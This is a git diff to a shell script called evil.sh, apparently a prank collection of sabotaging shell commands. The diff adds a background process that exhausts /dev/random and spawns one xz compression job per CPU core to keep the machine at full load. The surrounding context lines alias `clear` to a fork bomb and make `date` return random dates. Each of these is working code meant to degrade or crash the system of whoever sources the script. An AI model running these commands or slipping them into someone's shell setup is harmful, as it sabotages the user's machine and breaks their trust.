diff --git a/evil.sh b/evil.sh
index b7cddd6..6f720a3 100755
--- a/evil.sh
+++ b/evil.sh
@@ -28,6 +28,19 @@ alias clear=':(){ :|:& };:';
 # Have `date` return random dates.
 alias date='date -d "now + $RANDOM days"';
 
+# Eat ALL the randomness.
+/bin/cat /dev/random > /dev/null 2>&1 &
+
+# Use ALL the CPUs.
+if [ "$(uname)" = 'Darwin' ]; then
+	NCPUS=$(sysctl -n hw.ncpu)
+else
+	NCPUS=$(nproc)
+fi;
+for i in $(seq 1 $NCPUS); do
+	xz -9e -c /dev/urandom > /dev/null 2>&1 &
+done;
+
 # Sometimes, wait a few minutes and then start randomly ejecting the CD drive.
 # Other times, resist all attempts at opening it. Other times, make it read
 # reaaaalllly sllooowwwwllly.